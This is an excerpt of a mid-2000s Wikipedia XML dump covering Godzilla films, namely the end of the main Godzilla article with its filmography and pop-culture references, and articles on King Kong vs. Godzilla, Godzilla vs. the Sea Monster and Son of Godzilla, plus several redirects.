In response to negative fan reaction to the 1998 American Godzilla film, Toho inserted derogatory references to the American film and creature design in two of its Millennium movies. The ''[[Gotham]] attack'' was referred to in the 2001 movie ''[[Godzilla, Mothra and King Ghidorah: Giant Monsters All-Out Attack]]''.  The monster that had appeared in New York was not, in fact, Godzilla, but an entirely different yet similar monster.  
In ''[[Godzilla: Final Wars]]'' ([[2004 in film|2004]]) a kaiju named [[Zilla]], of identical to design to the American interpretation of Godzilla, attacks Sydney, Australia. It is later killed by the &quot;true&quot; Godzilla from a hit to the tail, and its [[radioactive decay|radioactive]] breath.

===Filmography===
Since 1954, there have been 29 official Godzilla films produced. All of these, with the lone exception of the 23rd, were produced by Toho Studios in Japan. (Please note that the titles listed below are Toho's preferred English titles; for further discussion, see [http://www.tohokingdom.com/web_pages/misc/site_legend.htm Toho Kingdom].)

{| class=&quot;wikitable&quot;
!No.
!width=&quot;200&quot;|Official Toho Title
!Year
!width=&quot;110&quot;|Director
!width=&quot;110&quot;|SFX Director
!Monster Co-Stars
!width=&quot;200&quot;|Original English Title
|-
|1
|''[[Godzilla (1954 film)|Godzilla]]''
|[[1954 in film|1954]]
|[[Ishiro Honda]]
|[[Eiji Tsuburaya]]
|N/A
|''[[Godzilla, King of the Monsters]]''
|-
|2
|''[[Godzilla Raids Again]]''
|[[1955 in film|1955]]
|[[Motoyoshi Oda]]
|[[Eiji Tsuburaya]]
|[[Anguirus]]
|''[[Gigantis the Fire Monster]]''
|-
|3
|''[[King Kong vs. Godzilla]]''
|[[1962 in film|1962]]
|[[Ishiro Honda]]
|[[Eiji Tsuburaya]]
|[[King Kong]], [[Oodako|Giant Octopus]]
|''[[King Kong vs. Godzilla]]''
|-
|4
|''[[Mothra vs. Godzilla]]''
|[[1964 in film|1964]]
|[[Ishiro Honda]]
|[[Eiji Tsuburaya]]
|[[Mothra]]
|''[[Mothra vs. Godzilla|Godzilla vs. The Thing]]''
|-
|5
|''[[Ghidorah, the Three-Headed Monster]]''
|[[1964 in film|1964]]
|[[Ishiro Honda]]
|[[Eiji Tsuburaya]]
|[[King Ghidorah]], [[Mothra]], [[Rodan]]
|''[[Ghidrah, the Three-Headed Monster]]''
|-
|6
|''[[Invasion of Astro-Monster]]''
|[[1965 in film|1965]]
|[[Ishiro Honda]]
|[[Eiji Tsuburaya]]
|[[King Ghidorah]], [[Rodan]]
|''[[Godzilla vs. Monster Zero]]''
|-
|7
|''[[Godzilla vs. the Sea Monster|Ebirah, Horror of the Deep]]''
|[[1966 in film|1966]]
|[[Jun Fukuda]]
|[[Eiji Tsuburaya]]
|[[Ebirah]], [[Mothra]], [[Ookondoru|Giant Condor]]
|''[[Godzilla vs. the Sea Monster]]''
|-
|8
|''[[Son of Godzilla]]''
|[[1967 in film|1967]]
|[[Jun Fukuda]]
|[[Eiji Tsuburaya]]&lt;br&gt;[[Sadamasa Arikawa]]
|[[Kamacuras]], [[Kumonga]], [[Minya|Minilla]]
|''[[Son of Godzilla]]''
|-
|9
|''[[Destroy All Monsters]]''
|[[1968 in film|1968]]
|[[Ishiro Honda]]
|[[Sadamasa Arikawa]]
|[[Anguirus]], [[Baragon]], [[Gorosaurus]], [[King Ghidorah]], [[Kumonga]], [[Manda]], [[Minya|Minilla]], [[Mothra]], [[Rodan]], [[Varan]]
|''[[Destroy All Monsters]]''
|-
|10
|''[[All Monsters Attack]]''
|[[1969 in film|1969]]
|[[Ishiro Honda]]
|[[Ishiro Honda]]
|[[Gabara]], [[Minya|Minilla]]
|''[[Godzilla's Revenge]]''
|-
|11
|''[[Godzilla vs. Hedorah]]''
|[[1971 in film|1971]]
|[[Yoshimitsu Banno]]
|[[Teruyoshi Nakano]]
|[[Hedorah, the Smog Monster|Hedorah]]
|''[[Godzilla vs. Hedorah|Godzilla vs. The Smog Monster]]''
|-
|12
|''[[Godzilla vs. Gigan]]''
|[[1972 in film|1972]]
|[[Jun Fukuda]]
|[[Teruyoshi Nakano]]
|[[Anguirus]], [[Gigan]], [[King Ghidorah]]
|''[[Godzilla on Monster Island]]''
|-
|13
|''[[Godzilla vs. Megalon]]''
|[[1973 in film|1973]]
|[[Jun Fukuda]]
|[[Teruyoshi Nakano]]
|[[Anguirus]], [[Gigan]], [[Jet Jaguar]], [[Megalon]]
|''[[Godzilla vs. Megalon]]''
|-
|14
|''[[Godzilla vs. Mechagodzilla]]''
|[[1974 in film|1974]]
|[[Jun Fukuda]]
|[[Teruyoshi Nakano]]
|[[Anguirus]], [[King Caesar]], [[Mechagodzilla]]
|''[[Godzilla vs. Mechagodzilla|Godzilla vs. The Cosmic Monster]]''
|-
|15
|''[[Terror of Mechagodzilla]]''
|[[1975 in film|1975]]
|[[Ishiro Honda]]
|[[Teruyoshi Nakano]]
|[[Mechagodzilla]], [[Titanosaurus (Godzilla)|Titanosaurus]]
|''[[Terror of Mechagodzilla]]''
|-
|16
|''[[The Return of Godzilla]]'' 
|[[1984 in film|1984]]
|[[Koji Hashimoto]]
|[[Teruyoshi Nakano]]
|[[Shockirus]]
|''[[Godzilla 1985]]''
|-
|17
|''[[Godzilla vs Biollante|Godzilla vs. Biollante]]''
|[[1989 in film|1989]]
|[[Kazuki Omori]]
|[[Koichi Kawakita]]
|[[Biollante]]
|''[[Godzilla vs. Biollante]]''
|-
|18
|''[[Godzilla vs. King Ghidorah]]''
|[[1991 in film|1991]]
|[[Kazuki Omori]]
|[[Koichi Kawakita]]
|[[King Ghidorah|Dorat]], [[Godzillasaurus]], [[King Ghidorah]], [[King Ghidorah|Mecha-King Ghidorah]]
|''[[Godzilla vs. King Ghidorah]]''
|-
|19
|''[[Godzilla vs. Mothra]]''
|[[1992 in film|1992]]
|[[Takao Okawara]]
|[[Koichi Kawakita]]
|[[Battra]], [[Mothra]]
|''[[Godzilla and Mothra:  The Battle for Earth]]''
|-
|20
|''[[Godzilla vs. Mechagodzilla II]]''
|[[1993 in film|1993]]
|[[Takao Okawara]]
|[[Koichi Kawakita]]
|[[Godzilla Junior|Baby Godzilla]], [[King Ghidorah|Mecha-King Ghidorah]], [[Mechagodzilla]], [[Rodan]], [[Mechagodzilla|Super Mechagodzilla]]
|''[[Godzilla vs. Mechagodzilla II]]''
|-
|21
|''[[Godzilla vs. SpaceGodzilla]]''
|[[1994 in film|1994]]
|[[Kensho Yamashita]]
|[[Koichi Kawakita]]
|[[Godzilla Junior|Little Godzilla]], [[Moguera]], [[Mothra]], [[Space Godzilla]]
|''[[Godzilla vs. SpaceGodzilla]]''
|-
|22
|''[[Godzilla vs. Destoroyah]]''
|[[1995 in film|1995]]
|[[Takao Okawara]]
|[[Koichi Kawakita]]
|[[Destoroyah]], [[Godzilla Junior]]
|''[[Godzilla vs. Destoroyah]]''
|-
|23
|''[[Godzilla (1998 film)|Godzilla]]''
|[[1998 in film|1998]]
|[[Roland Emmerich]]
|[[Volker Engel]]
|baby &quot;Godzillas&quot;
|''[[Godzilla (1998 film)|Godzilla]]''
|-
|24
|''[[Godzilla 2000: Millennium]]''
|[[1999 in film|1999]]
|[[Takao Okawara]]
|[[Kenji Suzuki]]
|[[Orga]]
|''[[Godzilla 2000]]''
|-
|25
|''[[Godzilla vs. Megaguirus|Godzilla X Megaguiras]]''
|[[2000 in film|2000]]
|[[Masaaki Tezuka]]
|[[Kenji Suzuki]]
|[[Megaguirus]], [[Meganula]], [[Meganulon]]
|''[[Godzilla vs. Megaguirus]]''
|-
|26
|''[[Godzilla, Mothra and King Ghidorah:  Giant Monsters All-Out Attack|Godzilla, Mothra, King Ghidorah: Giant Monsters All-Out Attack]]''
|[[2001 in film|2001]]
|[[Shusuke Kaneko]]
|[[Makoto Kamiya]]
|[[Baragon]], [[King Ghidorah]], [[Mothra]]
|''[[Godzilla, Mothra and King Ghidorah:  Giant Monsters All-Out Attack]]''
|-
|27
|''[[Godzilla Against Mechagodzilla|Godzilla X Mechagodzilla]]''
|[[2002 in film|2002]]
|[[Masaaki Tezuka]]
|[[Yûichi Kikuchi]]
|[[Mechagodzilla]]
|''[[Godzilla Against Mechagodzilla]]''
|-
|28
|''[[Godzilla: Tokyo SOS|Godzilla, Mothra, Mechagodzilla: Tokyo SOS]]''
|[[2003 in film|2003]]
|[[Masaaki Tezuka]]
|[[Eiichi Asada]]
|[[Kameba|Kamoebas]], [[Mechagodzilla]], [[Mothra]]
|''[[Godzilla:  Tokyo S.O.S.]]''
|-
|29
|''[[Godzilla:  Final Wars]]''
|[[2004 in film|2004]]
|[[Ryuhei Kitamura]]
|[[Eiichi Asada]]
|[[Anguirus]], [[Ebirah]], [[Gigan]], [[Hedorah, the Smog Monster|Hedorah]], [[Kamacuras]], [[King Ghidorah|Keizer Ghidorah]], [[King Caesar]], [[Kumonga]], [[Manda]], [[Minya|Minilla]], [[Monster X]], [[Mothra]], [[Rodan]], [[Zilla]]
|''[[Godzilla:  Final Wars]]''
|}

Yoshimitsu Banno, director of ''Godzilla vs. Hedorah'', has acquired permission to make a 40-minute film for [[IMAX]] theaters, and has secured close to complete funding.

{| class=&quot;wikitable&quot;
!No.
!width=&quot;200&quot;|Title
!Year
!width=&quot;110&quot;|Director
!width=&quot;110&quot;|SFX Director
!Monster Co-Stars
|-
|1
|''[[Godzilla 3D to the MAX]]''
|[[2007 in film|2007]]
|[[Yoshimitsu Banno]]
|[[Eiichi Asada]]
|[[Hedorah|Deathla]]
|-
|}

==Other media==
===Television===
Putting the Godzilla films' suits and effects crew to further use were several Japanese television shows; ''Ultraman'' and some shows inspired by it used the suits occasionally for cameos but ''Godzilla Island'' primarily followed the further adventures of the kaiju featured in the films.
* ''[[Ultraman]]''
* ''[[Ultra Q]]''
* ''[[Meteor Man Zone]]''
* ''[[Godzilla Island]]''
* ''[[Monster Planet Of Godzilla]]''

The success of the Godzilla franchise has also spawned two U.S. [[Saturday morning cartoons]], both featuring an investigative scientific team who call upon Godzilla as an ally. The series make several homages to the Shōwa films and several antagonist monsters have been inspired by extant Toho creations.
*''[[The Godzilla Power Hour]]''
*''[[Godzilla: The Series]]''

===Comics===
:''Main article: '''[[Godzilla comics]]'''''

Several [[manga]] have been derived from specific Godzilla films, and both [[Marvel Comics|Marvel]] and [[Dark Horse Comics|Dark Horse]] have published ''Godzilla'' comic book series (1977–1979 and 1987–1999, respectively).

===Video games===
:''Main article: '''[[Godzilla video games]]'''''

Godzilla and his fellow monsters have appeared in several video games, including:
* ''[[Godzilla: Monster of Monsters]]''
* ''[[Super Godzilla]]''
* ''[[Godzilla: Destroy All Monsters Melee]]''
* ''[[Godzilla: Domination]]''
* ''[[Godzilla: Save the Earth]]''

==References in culture==
As with any pop culture icon, Godzilla has been parodied, referenced to and homaged in many movies, TV shows, comic books, internet articles, and so on. Here is a partial list of such references:

* Featured in the [[Animaniacs]] short, &quot;Warners and the Beanstalk&quot; where [[Yakko]] tells the Giant, ''&quot;Would you like it in Japan with Godzilla and Rodan?&quot;''(a parody of [[Green Eggs and Ham]])  The Giant ignores Yakko's offer resulting in Godzilla burning him with his Atomic breath, and Rodan blowing him away.
* In the last scene of ''[[The Simpsons]]'' 10th season finale &quot;[[Thirty Minutes Over Tokyo]]&quot;, Godzilla attacks a plane going from Japan to the USA that the Simpsons are on. Godzilla is distracted by [[Mothra]], [[Rodan]] and [[Gamera]], allowing the plane to escape.
[[Image:Godzilla1.jpg|300px|thumb|right|Godzilla's cameo from the animated comedy series ''Drawn Together'']]
* In the episode of the [[Comedy Central]] [[animated cartoon|animated]] [[reality show]] parody ''[[Drawn Together]]'' entitled &quot;[[List of Drawn Together episodes#15. .22Super Nanny.22|Super Nanny]]&quot;, Godzilla plays a minor role as Ling-Ling's conscience (with his size probably meant as a subtle joke to Ling-Ling's cultural responsibility).

* In [[The Fairly Oddparents]] TV movie [[School's Out: The Musical]] before the Mayor starts singing it shows Godzilla destroying the city.

* In ''[[Austin Powers in Goldmember]]'', Austin crashes his car into a dinosaur like parade float while in Japan, causing it to roll around the streets uncontrollably.  It is identified by a civilian as Godzilla, but another civilian corrects him, stating that it only looks like Godzilla due to copyright issues.

* [[Mariah Carey]]'s video for &quot;[[Boy (I Need You)]]&quot;, which takes place in a futuristic Japanese metropolis, features a yellow, fire-breathing Godzilla-like monster, also brought to life by suitmation.

* In Olive the Other Reindeer, a show often shown on Cartoon Network during the Christmas season, Olive, Santa, and Santa's reindeer sing a song titled &quot;Merry Christmas After All&quot; while traveling the world delivering presents. However, when they visit Tokyo, Ultraman flies by them, waves, and then starts dancing and singing with Godzilla.

* A great many of ''[[The Far Side]]'' cartoons feature Godzilla, including one where he is driving a car with a license plate saying &quot;I 8 NY&quot; (I ate New York}.

*There is a [[Warcraft]] creature called [[Gahz'rilla]] who is a hydra. However, his name gives away that he is a parody of Godzilla.
* One ''[[The Grim Adventures of Billy and Mandy]]'' episode is titled 
&quot; Giant Billy and Mandy:  All Out Attack&quot;  
* Godzilla has cameoed or inspired likenesses in several other (usually animated) shows:
** ''[[Reign Storm]]''
** ''[[Garfield and Friends]]''
** ''[[Animaniacs]]''
** ''[[Jimmy Neutron]]''
** ''[[Invader Zim]]''
** ''[[Rugrats]]''
**''[[The Fairly OddParents]]''
* There is a drink in [[Malaysia]] called &quot;[[Nestlé Milo|Milo]] Godzilla&quot;, consisting of a cup of Milo with ice cream and/or whipped cream on top of it.

=== Paleontology ===
At least two [[prehistoric creatures]] from the [[fossil record]] have been named after Godzilla:
* ''[[Gojirasaurus]] quayi'' is a [[theropod]] [[dinosaur]] that lived in the [[Triassic Period]]; a partial skeleton was unearthed in [[Quay County, New Mexico]].
* ''[[Dakosaurus andiniensis]]'', a [[crocodile]] from the [[Jurassic Period]], was nicknamed &quot;Godzilla&quot; before being [[scientific classification|scientifically classified]].

==See also==
* ''[[Agon (TV series)]]'' (''Agon'' was a serialized B&amp;W TV movie produced in 1964, but aired in 1968.  This 4 episode miniseries (aired Jan 2-5, 1968 on Fuji TV) was produced by Japan Radio Pictures (Nippon Denpa Eiga).  The title monster is similar in appearance to Godzilla, so much that Toho almost sued Japan Radio Pictures, until they found that it was [[Fuminori Ohashi]] (who helped create the Godzilla suit for the original 1954 film) who designed the Agon costume!)
* Ditanix (''[[Seijuu Sentai Gingaman]]'')
* Dragon Caesar (''[[Kyoryuu Sentai ZyuRanger]]'')
* [[Gamera]]
* [[Gappa]]
* ''[[Gorgo]]''
* [[Raki (monster)|Raki]]
* [[Reptar]]
* ''[[Reptilicus]]''
* Rhedosaurus (''[[The Beast From 20,000 Fathoms]]'')

==External links==
===Official===
* [http://www.godzilla.co.jp Godzilla Official Website (Japan)]
* [http://www.godzilla.com Godzilla Official Website (US)]

=== Information ===
* [http://www.tohokingdom.com/ Toho Kingdom]
* [http://www.kaijuphile.com/ Kaijuphile: Monster Site. Monster Obsession.]
* [http://www.monsterzero.us/ Monster Zero News]
* [http://www.godzillatemple.com/ Barry's Temple of Godzilla]
* [http://www.gojistomp.org/ Godzilla Stomp]
* [http://www.rodansroost.com/ Rodan's Roost]
* [http://s14.invisionfree.com/Gamera_Fans/ Gamera Fans], kaiju fan site &amp; resource board
* [http://www.tokyomonsters.com/ Tokyo Monsters] The premiere kaiju multimedia site
* [http://giantmonstermovies.com/ Giant Monster Movies]
* [http://www.henshinonline.com/ Henshin! Online], Japanese fantasy website
* {{dmoz|Arts/Movies/Titles/G/Godzilla_Movies/|Godzilla Movies}}
* [http://www.greencine.com/static/primers/godzilla.jsp GreenCine primer on ''Godzilla'']
* [http://www.godzillamonstermusic.com/ Godzilla and other Monster Music]
* [http://www.clubtokyo.org/ Club Tokyo], kaiju collectibles reference
* [http://godzilla-uk.net/ Godzilla U.K.], The British Godzilla Webzine
* [http://www.g-fan.com/ G-FAN], an international fanzine
* [http://www.neomonsterisland.com/ Twisted Kaiju Theatre], a webcomic

===Analysis===
* Allsop, S &quot;Gojira?Godzilla' in {{cite book | last = Bowyer | first = Justin | title = 24 Frames: The Cinema of Japan and Korea | location = London | publisher = Wallflower Press | year = 2002 }}
* &quot;''[http://edition.cnn.com/2004/SHOWBIZ/Movies/03/04/film.goodbye.godzilla.ap/ Godzilla taking a break -- for now]''&quot;. Japanese film producer putting star on hiatus. [[CNN]]. [[4 March]] [[2004]].
* &quot;'''Monster Theory' Godzilla: [http://www.wlu.ca/~wwwblack/an332/documents/Nov2.htm  Cross-Cultural Analysis of Godzilla]''&quot;. AN332/CS310 [[2 November]] [[2000]].
* Kroke, Arthur, and Marilouise Kroke, &quot;''[http://collection.nlc-bnc.ca/100/201/300/ctheory/articles/1995/art-27b.txt  Ctheory: Tokyo Must Be Destroyed]''&quot;. Theory, technology and culture, Ctheory. VOL 18, NO 1-2 Article 27b      95/06/22       Editors:

{{Godzilla}}

[[Category:Fictional dinosaurs]]
[[Category:Fictional monsters]]
[[Category:Hollywood Walk of Fame]]
[[Category:Kaiju]]
[[Category:Tokusatsu]]
[[Category:Fictional lizards]]
[[de:Godzilla]]
[[es:Godzilla]]
[[fi:Godzilla]]
[[fr:Godzilla]]
[[he:גודזילה]]
[[ja:ゴジラ]]
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[[zh:哥斯拉]]</text>
    </revision>
  </page>
  <page>
    <title>Gigantis the Fire Monster</title>
    <id>11987</id>
    <revision>
      <id>22219284</id>
      <timestamp>2005-08-31T02:04:41Z</timestamp>
      <contributor>
        <username>Ryuuseipro</username>
        <id>281264</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Godzilla Raids Again]]</text>
    </revision>
  </page>
  <page>
    <title>King Kong vs. Godzilla</title>
    <id>11988</id>
    <revision>
      <id>38467867</id>
      <timestamp>2006-02-06T15:05:36Z</timestamp>
      <contributor>
        <ip>209.91.49.152</ip>
      </contributor>
      <text xml:space="preserve">'''''King Kong vs. Godzilla''''' (キングコング対ゴジラ - ''Kingu Kongu tai Gojira'') is a [[1962]] [[tokusatsu]] [[kaiju]] film directed by [[Ishiro Honda]] with visual effects by [[Eiji Tsuburaya]]. It was the third installment in the Japanese series of ''[[kaiju]]'' films featuring the monster [[Godzilla]]. It is an eccentric departure from the visual effects style of the original 1933 film ''[[King Kong (1933 film)|King Kong]]'', this film features a man in a gorilla suit playing [[King Kong|Kong]] instead of [[stop-motion animation]]. Godzilla, freshly released from his iceberg enclosure from the end of ''[[Godzilla Raids Again]]'' (U.S. title: ''[[Gigantis the Fire Monster]]'') rampages through Japan. He eventually faces King Kong, brought from his island originally as a [[publicity stunt]] by the greedy head of a pharmaceutical company (played by [[Ichiro Arishima]]).

Unlike the other films in the series ''King Kong vs. Godzilla'' overtly emphasizes comedy, both in the human and monster scenes. This is usually attributed to Eiji Tsuburaya, who wanted to move the Godzilla series in a lighter direction. The film is obviously a spoof of commercialism and the burgeoning media in Japan. Some critics also claim that Kong, and in the following film [[Mothra]], represent the resources of the Pacific Islands with Godzilla as symbol of the [[United States]]'s nuclear power. However, Kong is usually viewed as an 'American' monster.

Much of the overt comedy of the film disappears in the re-edited version released in America by [[Universal International]]. Producer [[John Beck]] cut large amounts of the Japanese footage and replaced it with new footage of American actors playing newscasters commenting on the action. The score by [[Akira Ifukube]] was also replaced with library music, much of it replaced by stock music from the movie [[Creature from the Black Lagoon]] by [[Henry Mancini]].  The score swap angers many fans to this day.

The film had its roots in earlier concepts for a new Kong feature put out by [[Willis O'Brien]] in his search to fund another film starring the famous ape. In O'Brien's original proposed treatment, the gorilla King Kong fought against a giant version of the [[Frankenstein]] creature. After American producer [[John Beck]] sold the concept to [[Toho Studios]] (much to O'Brien's dismay), the Japanese executives replaced the Frankenstein monster with their own flagship giant monster, Godzilla. This was the first color feature for either monster.

==Trivia==

*In Japan, this film had the highest [[box office]] attendance figures of all of the Godzilla series to date.
*Not only was this the first Godzilla and King Kong movie in &quot;Scope&quot; ratio (2.35:1), but also their first appearances in color.
*While many fans of [[King Kong]] hated the ape's portrayal in this film, it was said that [[Eiji Tsuburaya]] deliberately made Kong comical as to not frighten young children, and make the audience root more for Kong than the frightening Godzilla.
*The [[Davy Crockett (nuclear device)|Davy Crockett]], a portable rocket system for launching a small nuclear or conventional warhead, appears in the movie while still classified.
*This movie is discussed by [[Donkey Kong]] and [[Diddy Kong]] in the ''[[Donkey Kong Country (animated series)|Donkey Kong Country]]'' episode &quot;From Zero to Hero&quot;, though it is not mentioned by name.
*The picture of Kong on the US-release poster was a cropped still from the original 1933 production (during his fight with the pterodactyl), rather than as he actually appears in this film... perhaps wisely.
*The bigger draw of the 2 monsters in Japan was King Kong, who at the time was far more popular there than their own Godzilla.
==Dual ending myth==

There has been something of an [[urban legend]] about the possiblity of a dual ending, a victory for Kong in the American version, a victory for Godzilla in the Japanese one.  [http://www.snopes.com/movies/films/godzilla.htm]  This is false.

*Both versions end with the monsters toppling into the sea, then Kong emerging and swimming away.
**The Japanese version ends with Godzilla's roar, and then Kong's.  This was the offscreen equivalent of the monsters &quot;taking a bow.&quot;  (Though why Godzilla's and Kong's roars came in that respective order is ambiguous.)
**The American version ends with just Kong's roar rather than from both monsters.

Either way, Toho has officially confirmed that it is Kong who was meant to be the victor. Though, one must consider that Kong swims on the surface of the ocean and Godzilla swims submerged.  Furthermore, up until [[1964]]'s ''[[Ghidorah, the Three-Headed Monster]]'', Godzilla was still the villain, his attacks in the previous two films strongly evoking memories of US nuclear strikes on Hiroshima and Nagasaki, and was thus destined to lose. But to this day, this film's ending has become a very heated debate especially among fans of both monsters.

==Credits==

===Staff===

*Producer: [[Tomoyuki Tanaka]]
*Director: [[Ishiro Honda]]
*Special Effects: [[Eiji Tsuburaya]]
*Music: [[Akira Ifukube]] (Japanese version only)

==External links==

* {{imdb title|id=0056142|title=Kingu Kongu tai Gojira (King Kong vs. Godzilla)}}
{{Template:Godzilla}}

[[Category:1962 films]]
[[Category:King Kong]]
[[Category:Horror films|King Kong vs. Godzilla]]
[[Category:Universal films]]
[[Category:Godzilla films]]
[[Category:Fictional crossovers]]
[[Category:Sequel films]]

[[ja:キングコング対ゴジラ]]
[[ru:Кинг-Конг против Годзиллы (фильм)]]</text>
    </revision>
  </page>
  <page>
    <title>Godzilla vs The Thing</title>
    <id>11989</id>
    <revision>
      <id>27134403</id>
      <timestamp>2005-11-02T03:58:19Z</timestamp>
      <contributor>
        <username>Apostrophe</username>
        <id>110322</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Mothra vs. Godzilla]]</text>
    </revision>
  </page>
  <page>
    <title>Ghidorah the Three Headed Monster</title>
    <id>11990</id>
    <revision>
      <id>15909699</id>
      <timestamp>2004-11-04T01:15:33Z</timestamp>
      <contributor>
        <username>ContiE</username>
        <id>11061</id>
      </contributor>
      <minor />
      <comment>made this a redirect, as this is just a copy of the other article.</comment>
      <text xml:space="preserve">#REDIRECT [[Ghidorah, the Three-Headed Monster]]</text>
    </revision>
  </page>
  <page>
    <title>Monster Zero</title>
    <id>11991</id>
    <revision>
      <id>19970117</id>
      <timestamp>2005-07-31T07:41:15Z</timestamp>
      <contributor>
        <username>Mrbrown</username>
        <id>55405</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Invasion of Astro-Monster]]</text>
    </revision>
  </page>
  <page>
    <title>Godzilla vs. the Sea Monster</title>
    <id>11992</id>
    <revision>
      <id>39095853</id>
      <timestamp>2006-02-10T18:11:19Z</timestamp>
      <contributor>
        <username>Dr Debug</username>
        <id>326391</id>
      </contributor>
      <comment>/* External links */ rm linkspam</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Godzilla vs. the Sea Monster|
  image          = |
  imdb_id        = 0060464|
  writer         = Shinichi Sekizawa&lt;br/&gt;Peter Fernandez (English dubbing)|
  starring       = Akira Takarada&lt;br/&gt;Kumi Mizuno|
  director       = Jun Fukuda|
  producer       = Tomoyuki Tanaka|
  movie_music    = Masaru Satô|
  distributor    = [[Continental Distributing Inc.]] and [[Columbia Tri-Star Home Video]]|
  released   = [[1966]]|
  runtime        = 87 min. (83 min. dubbed)|
  language = Japanese|
  music          = |
  awards         = |
  budget         = ''unknown''|
}}

'''''Godzilla vs. the Sea Monster''''' (&amp;#12468;&amp;#12472;&amp;#12521;&amp;#12539;&amp;#12456;&amp;#12499;&amp;#12521;&amp;#12539;&amp;#12514;&amp;#12473;&amp;#12521;&amp;#12288;&amp;#21335;&amp;#28023;&amp;#12398;&amp;#22823;&amp;#27770;&amp;#38360; - ''Gojira, Ebira, Mosura: Nankai no Daikettô'' - translated as ''[[Godzilla]], Ebirah, Mothra: Great Duel in the South Seas'') is a [[1966 in film|1966]] [[tokusatsu]] film, directed by [[Jun Fukuda]], and was released by [[Toho]] studios. The movie is also known by its International English title, ''Ebirah, Horror of the Deep''. The special effects were by [[Eiji Tsuburaya]] (although his direct involvement was limited) and [[Sadamasa Arikawa]]. It also features supporting monsters [[Mothra]] and [[Ebirah]]. It was the first Godzilla film since ''[[Godzilla Raids Again]]'' not directed by [[Ishiro Honda]] and shows a turn toward a more action-adventure approach to the Godzilla films instead of Honda's customary [[science-fiction]] approach. Set mostly on a tropical island, the film also required fewer miniatures and therefore had a lower budget than the previous Godzilla films.

The concept was originally intended for [[King Kong]] under the title ''Operation Robinson Crusoe: King Kong Vs. Ebirah'' (ロビンソン・クルーソー作戦　キングコング対エビラ - ''Robinson Kurûsô Sakusen: Kingu Kongu tai Ebira'') The film was planned as a co-production with the American production company [[Rankin-Bass]] to coincide with their animated series ''[[The King Kong Show]]''. However, Rankin-Bass rejected this script. The King Kong project was eventually made from a different script as ''[[King Kong Escapes]]'', but Toho salvaged ''Operation Robinson Crusoe'' by re-writing it to feature Godzilla instead of King Kong. Some of Godzilla's unusual behavior in the film, such as living in a cave, receiving power from [[electricity]], throwing rocks at Ebirah, and taking notice of a beautiful native girl, reveal the script's origin as a King Kong vehicle.

''Godzilla vs. the Sea Monster'' was released directly to U.S. television [[television syndication|syndication]] through the [[Walter Reade Organization]]. It was the first Godzilla film to forgo a theatrical release in the United States. For the television version, the film's title was written as ''Godzilla versus the Sea Monster.''

==Synopsis==
After his brother Yata is lost at sea, young Ryota steals a yacht with his two friends and a bank robber. This motley crew runs afoul of sea monster Ebirah, and washes up on the shore of an island, where a terrorist organization manufactures heavy water for their nefarious purposes, as well as a chemical that keeps Ebirah at bay. The organization, Red Bamboo, has enslaved a native population to help them, but the natives hope to awaken a dormant Mothra to rescue them. In their efforts to avoid capture, Ryota and his friends, aided by a native girl, stumble across Godzilla asleep inside a cavern. In a desperate bid to defeat the Red Bamboo and escape from the Island, they plan to wake Godzilla.

==Trivia==
*The U.S. television version and early [[video]] versions have a different opening to the film. The opening scenes of Ryota at the Maritime Safety Agency searching for news of his brother have been replaced with a scene supposedly showing Ebirah destorying Yata's boat. This sequence was created by editing a later scene in the movie. The current [[DVD]] version of the film restores the Japanese cut.

*The Japanese singing duo Pair Bambi play the tiny twin Mothra priestesses known as the [[Mothra#Shobijin|shobijin]] (&quot;little beauties&quot;). In earlier movies, these characters were played by twin sisters Emi and Yûmi Ito of [[The Peanuts]], another Japanese singing duo.

*In the scene right after he destroys the Giant Condor, Godzilla rubs his nose.  This was a reference to [[Toho]]'s popular [[Young Guy|Wakadaisho/Young Guy]] movie series, in which the titular character, [[Yuichi Tanuma]] (played by [[Yuzo Kayama]]), was known for doing the same thing.

*The name ''Ebirah'' is derived from the Japanese word for [[shrimp]], ''ebi''.

*''Godzilla vs. the Sea Monster'' was one of the two Godzilla films used as episodes of American television comedy show ''[[Mystery Science Theater 3000]]'', which frequently mocks monster movies. The other one was ''[[Godzilla vs. Megalon]]''.  The running gag of the episode was that J&amp;tB arrived in the theater late, and did not catch the movie's [[title card]]; therefore because of that oversight, they lacked knowledge of the title even though the movie blatantly featured Godzilla fighting with a sea monster.

*In [[1991]], ''Godzilla vs. the Sea Monster'' was distributed under the [[Film Ventures International]] name. The company replaced the opening with a generic credit sequence, using footage from ''[[Son of Godzilla]]''.

==See also==
* [[Godzilla]]
* [[List of Mystery Science Theater 3000 episodes]]

== External links ==
*{{imdb title|id=0060464|title=Gojira, Ebirâ, Mosura: Nankai no daiketto}}


{{Template:Godzilla}}

[[Category:1966 films]]
[[Category:Japanese films]]
[[Category:Godzilla films]]
[[Category:MST3K movies]]

[[ja:%E3%82%B4%E3%82%B8%E3%83%A9%E3%83%BB%E3%82%A8%E3%83%93%E3%83%A9%E3%83%BB%E3%83%A2%E3%82%B9%E3%83%A9_%E5%8D%97%E6%B5%B7%E3%81%AE%E5%A4%A7%E6%B1%BA%E9%97%98]]</text>
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  <page>
    <title>Son of Godzilla</title>
    <id>11993</id>
    <revision>
      <id>39087925</id>
      <timestamp>2006-02-10T17:07:05Z</timestamp>
      <contributor>
        <username>Nmdecke</username>
        <id>914443</id>
      </contributor>
      <text xml:space="preserve">'''''Son of Godzilla''''' (''Kaijûtô no kessen: Gojira No Masuko'') is a [[1967]] [[film]]. The eighth part of the [[Toho]] studio's [[Godzilla]] series, it was directed by [[Jun Fukuda]] with special effects by [[Eiji Tsuburaya]] and [[Sadamasa Arikawa]].

A team of scientists stationed on [[Fictional locations in the Godzilla films#Sogell Island|Sogell Island]] attempts to perfect a weather control system. Their efforts are hampered by the presence of giant praying mantis-like creatures and by the arrival of a nosy reporter.  The first test of the weather control system goes awry when the remote control for a radioactive balloon is jammed by an unexplained signal coming from the center of the island.  The balloon detonates prematurely, creating a radioactive storm that causes the giant mantises to grow to enormous sizes.  Investigating the mantises, now called [[Kamacuras]], the scientists find the creatures digging an egg out from under a pile of earth.  The egg hatches, revealing a baby [[Godzilla]].  The scientists realize that the baby's cries for help were the cause of the interference that ruined their experiment.  Soon [[Godzilla]] himself arrives on the island, incidentally stomping the scientist's base as he rushes to defend his offspring.  Godzilla defeats two of the Kamacuras while the baby makes friends with a native girl named Saeko (Riko in the American version) who has been surviving in underground caves on the island.  

